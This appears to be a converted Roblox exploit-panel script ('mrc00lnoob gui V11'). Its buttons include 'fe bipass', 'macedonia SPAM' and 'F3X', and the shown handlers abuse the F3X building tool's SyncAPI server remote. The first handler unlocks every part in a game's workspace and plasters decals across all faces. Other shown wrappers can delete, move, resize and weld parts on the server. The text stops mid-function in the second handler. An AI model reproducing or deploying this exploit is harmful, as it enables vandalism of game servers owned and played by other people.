--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 49 | Scripts: 22 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Size"] = UDim2.new(0, 416, 0, 636); G2L["2"]["Position"] = UDim2.new(0.15583, 0, 0.06655, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); -- StarterGui.ScreenGui.Frame.TextLabel G2L["3"] = Instance.new("TextLabel", G2L["2"]); G2L["3"]["TextWrapped"] = true; G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["TextSize"] = 14; G2L["3"]["TextScaled"] = true; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["BackgroundTransparency"] = 1; G2L["3"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["Text"] = [[mrc00lnoob gui V11]]; G2L["3"]["Position"] = UDim2.new(0.25962, 0, 0.0599, 0); -- StarterGui.ScreenGui.Frame.TextLabel G2L["4"] = Instance.new("TextLabel", G2L["2"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextSize"] = 14; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["BackgroundTransparency"] = 1; G2L["4"]["Size"] = UDim2.new(0, 200, 0, 13); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[made by krnl1 and mrc**ln**b]]; G2L["4"]["Position"] = UDim2.new(0.25962, 0, 0.13807, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["5"] = Instance.new("TextButton", G2L["2"]); G2L["5"]["TextWrapped"] = true; G2L["5"]["BorderSizePixel"] = 3; G2L["5"]["TextSize"] = 14; G2L["5"]["TextScaled"] = true; G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["5"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["5"]["Text"] = [[Decal]]; G2L["5"]["Position"] = UDim2.new(0.05769, 0, 0.18598, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["6"] = Instance.new("LocalScript", G2L["5"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["TextWrapped"] = true; G2L["7"]["BorderSizePixel"] = 3; G2L["7"]["TextSize"] = 14; G2L["7"]["TextScaled"] = true; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["7"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["7"]["Text"] = [[Skybox]]; G2L["7"]["Position"] = UDim2.new(0.36058, 0, 0.18598, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["9"] = Instance.new("TextButton", G2L["2"]); G2L["9"]["TextWrapped"] = true; G2L["9"]["BorderSizePixel"] = 3; G2L["9"]["TextSize"] = 14; G2L["9"]["TextScaled"] = true; G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["9"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["9"]["Text"] = [[Particles]]; G2L["9"]["Position"] = UDim2.new(0.66827, 0, 0.18598, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["a"] = Instance.new("LocalScript", G2L["9"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["b"] = Instance.new("TextButton", G2L["2"]); G2L["b"]["TextWrapped"] = true; G2L["b"]["BorderSizePixel"] = 3; G2L["b"]["TextSize"] = 14; G2L["b"]["TextScaled"] = true; G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["b"]["Text"] = [[Unanchor]]; G2L["b"]["Position"] = UDim2.new(0.05769, 0, 0.28012, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["b"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["d"] = Instance.new("TextButton", G2L["2"]); G2L["d"]["TextWrapped"] = true; G2L["d"]["BorderSizePixel"] = 3; G2L["d"]["TextSize"] = 14; G2L["d"]["TextScaled"] = true; G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["d"]["Text"] = [[Message]]; G2L["d"]["Position"] = UDim2.new(0.36058, 0, 0.28012, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["e"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["f"] = Instance.new("TextButton", G2L["2"]); G2L["f"]["TextWrapped"] = true; G2L["f"]["BorderSizePixel"] = 3; G2L["f"]["TextSize"] = 14; G2L["f"]["TextScaled"] = true; G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["f"]["Text"] = [[Hint]]; G2L["f"]["Position"] = UDim2.new(0.66827, 0, 0.28012, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["TextWrapped"] = true; G2L["11"]["BorderSizePixel"] = 3; G2L["11"]["TextSize"] = 14; G2L["11"]["TextScaled"] = true; G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["11"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["11"]["Text"] = [[Char all]]; G2L["11"]["Position"] = UDim2.new(0.05769, 0, 0.37692, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["13"] = Instance.new("TextButton", G2L["2"]); G2L["13"]["TextWrapped"] = true; G2L["13"]["BorderSizePixel"] = 3; G2L["13"]["TextSize"] = 14; G2L["13"]["TextScaled"] = true; G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["13"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["13"]["Text"] = [[fe bipass ]]; G2L["13"]["Position"] = UDim2.new(0.36058, 0, 0.37692, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["14"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["15"] = Instance.new("TextButton", G2L["2"]); G2L["15"]["TextWrapped"] = true; G2L["15"]["BorderSizePixel"] = 3; G2L["15"]["TextSize"] = 14; G2L["15"]["TextScaled"] = true; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["15"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["15"]["Text"] = [[macedonia SPAM]]; G2L["15"]["Position"] = UDim2.new(0.66827, 0, 0.37692, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["16"] = Instance.new("LocalScript", G2L["15"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["17"] = Instance.new("TextButton", G2L["2"]); G2L["17"]["TextWrapped"] = true; G2L["17"]["BorderSizePixel"] = 3; G2L["17"]["TextSize"] = 14; G2L["17"]["TextScaled"] = true; G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["17"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["17"]["Text"] = [[john Doe]]; G2L["17"]["Position"] = UDim2.new(0.05769, 0, 0.47396, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["17"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["19"] = Instance.new("TextButton", G2L["2"]); G2L["19"]["TextWrapped"] = true; G2L["19"]["BorderSizePixel"] = 3; G2L["19"]["TextSize"] = 14; G2L["19"]["TextScaled"] = true; G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["19"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["19"]["Text"] = [[goner]]; G2L["19"]["Position"] = UDim2.new(0.36058, 0, 0.47396, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1a"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1b"] = Instance.new("TextButton", G2L["2"]); G2L["1b"]["TextWrapped"] = true; G2L["1b"]["BorderSizePixel"] = 3; G2L["1b"]["TextSize"] = 14; G2L["1b"]["TextScaled"] = true; G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["1b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["1b"]["Text"] = [[we surrender title]]; G2L["1b"]["Position"] = UDim2.new(0.66827, 0, 0.47396, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.ScreenGui.Frame.TextLabel G2L["1d"] = Instance.new("TextLabel", G2L["2"]); G2L["1d"]["TextWrapped"] = true; G2L["1d"]["BorderSizePixel"] = 0; G2L["1d"]["TextSize"] = 14; G2L["1d"]["TextScaled"] = true; G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["BackgroundTransparency"] = 1; G2L["1d"]["Size"] = UDim2.new(0, 200, 0, 48); G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Text"] = [[other scripts]]; G2L["1d"]["Position"] = UDim2.new(0.23798, 0, 0.5736, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["1e"] = Instance.new("TextButton", G2L["2"]); G2L["1e"]["TextWrapped"] = true; G2L["1e"]["BorderSizePixel"] = 3; G2L["1e"]["TextSize"] = 14; G2L["1e"]["TextScaled"] = true; G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1e"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["1e"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["1e"]["Text"] = [[DOMINANT]]; G2L["1e"]["Position"] = UDim2.new(0.05769, 0, 0.64849, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1f"] = Instance.new("LocalScript", G2L["1e"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["20"] = Instance.new("TextButton", G2L["2"]); G2L["20"]["TextWrapped"] = true; G2L["20"]["BorderSizePixel"] = 3; G2L["20"]["TextSize"] = 14; G2L["20"]["TextScaled"] = true; G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["20"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["20"]["Text"] = [[disco]]; G2L["20"]["Position"] = UDim2.new(0.36058, 0, 0.64849, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["21"] = Instance.new("LocalScript", G2L["20"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["22"] = Instance.new("TextButton", G2L["2"]); G2L["22"]["TextWrapped"] = true; G2L["22"]["BorderSizePixel"] = 3; G2L["22"]["TextSize"] = 14; G2L["22"]["TextScaled"] = true; G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["22"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["22"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["22"]["Text"] = [[teams]]; G2L["22"]["Position"] = UDim2.new(0.66827, 0, 0.64849, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["23"] = Instance.new("LocalScript", G2L["22"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["24"] = Instance.new("TextButton", G2L["2"]); G2L["24"]["TextWrapped"] = true; G2L["24"]["BorderSizePixel"] = 3; G2L["24"]["TextSize"] = 14; G2L["24"]["TextScaled"] = true; G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["24"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["24"]["Text"] = [[b2s leak]]; G2L["24"]["Position"] = UDim2.new(0.05769, 0, 0.74126, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["25"] = Instance.new("LocalScript", G2L["24"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["26"] = Instance.new("TextButton", G2L["2"]); G2L["26"]["TextWrapped"] = true; G2L["26"]["BorderSizePixel"] = 3; G2L["26"]["TextSize"] = 14; G2L["26"]["TextScaled"] = true; G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["26"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["26"]["Text"] = [[F3X gui]]; G2L["26"]["Position"] = UDim2.new(0.36058, 0, 0.74126, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["27"] = Instance.new("LocalScript", G2L["26"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["28"] = Instance.new("TextButton", G2L["2"]); G2L["28"]["TextWrapped"] = true; G2L["28"]["BorderSizePixel"] = 3; G2L["28"]["TextSize"] = 14; G2L["28"]["TextScaled"] = true; G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["28"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["28"]["Text"] = [[theme]]; G2L["28"]["Position"] = UDim2.new(0.66827, 0, 0.74126, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["29"] = Instance.new("LocalScript", G2L["28"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2a"] = Instance.new("TextButton", G2L["2"]); G2L["2a"]["TextWrapped"] = true; G2L["2a"]["BorderSizePixel"] = 3; G2L["2a"]["TextSize"] = 14; G2L["2a"]["TextScaled"] = true; G2L["2a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2a"]["Size"] = UDim2.new(0, 383, 0, 50); G2L["2a"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["2a"]["Text"] = [[F3X]]; G2L["2a"]["Position"] = UDim2.new(0.02644, 0, 0.90792, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2b"] = Instance.new("LocalScript", G2L["2a"]); -- StarterGui.ScreenGui.Frame.TextLabel G2L["2c"] = Instance.new("TextLabel", G2L["2"]); G2L["2c"]["TextWrapped"] = true; G2L["2c"]["BorderSizePixel"] = 0; G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextScaled"] = true; G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["BackgroundTransparency"] = 1; G2L["2c"]["Size"] = UDim2.new(0, 200, 0, 48); G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["Text"] = [[get f3x]]; G2L["2c"]["Position"] = UDim2.new(0.23798, 0, 0.81888, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["2d"] = Instance.new("TextButton", G2L["2"]); G2L["2d"]["TextWrapped"] = true; G2L["2d"]["BorderSizePixel"] = 3; G2L["2d"]["TextSize"] = 14; G2L["2d"]["TextScaled"] = true; G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["2d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["2d"]["Text"] = [[r6]]; G2L["2d"]["Position"] = UDim2.new(0, 0, 0.02246, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["2e"] = Instance.new("LocalScript", G2L["2d"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["2f"] = Instance.new("TextButton", G2L["2"]); G2L["2f"]["TextWrapped"] = true; G2L["2f"]["BorderSizePixel"] = 3; G2L["2f"]["TextSize"] = 14; G2L["2f"]["TextScaled"] = true; G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["Size"] = UDim2.new(0, 116, 0, 50); G2L["2f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255); G2L["2f"]["Text"] = [[Reset]]; G2L["2f"]["Position"] = UDim2.new(0.72115, 0, 0.02246, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2f"]); -- StarterGui.ScreenGui.Frame.Smooth GUI Dragging G2L["31"] = Instance.new("LocalScript", G2L["2"]); -- [ERROR] cannot convert Capabilities, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["31"]["Sandboxed"] = true; G2L["31"]["Name"] = [[Smooth GUI Dragging]]; -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_6() local script = G2L["6"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("6877509129") end) end; task.spawn(C_6); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_8() local script = G2L["8"]; local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool local remote -- Search player Backpack and character for the tool for _, v in player.Backpack:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool and char then for _, v in char:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then for _, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then warn("SyncAPI tool not found!") return end remote = tool.SyncAPI.ServerEndpoint local function _(args) remote:InvokeServer(table.unpack(args)) end local function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end local function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end local function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end local function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function MovePart(part, cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end local function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end local function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end local function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end local function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end local function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end local function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end local function Weld(part1, part2, lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end local function SetLocked(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end local function 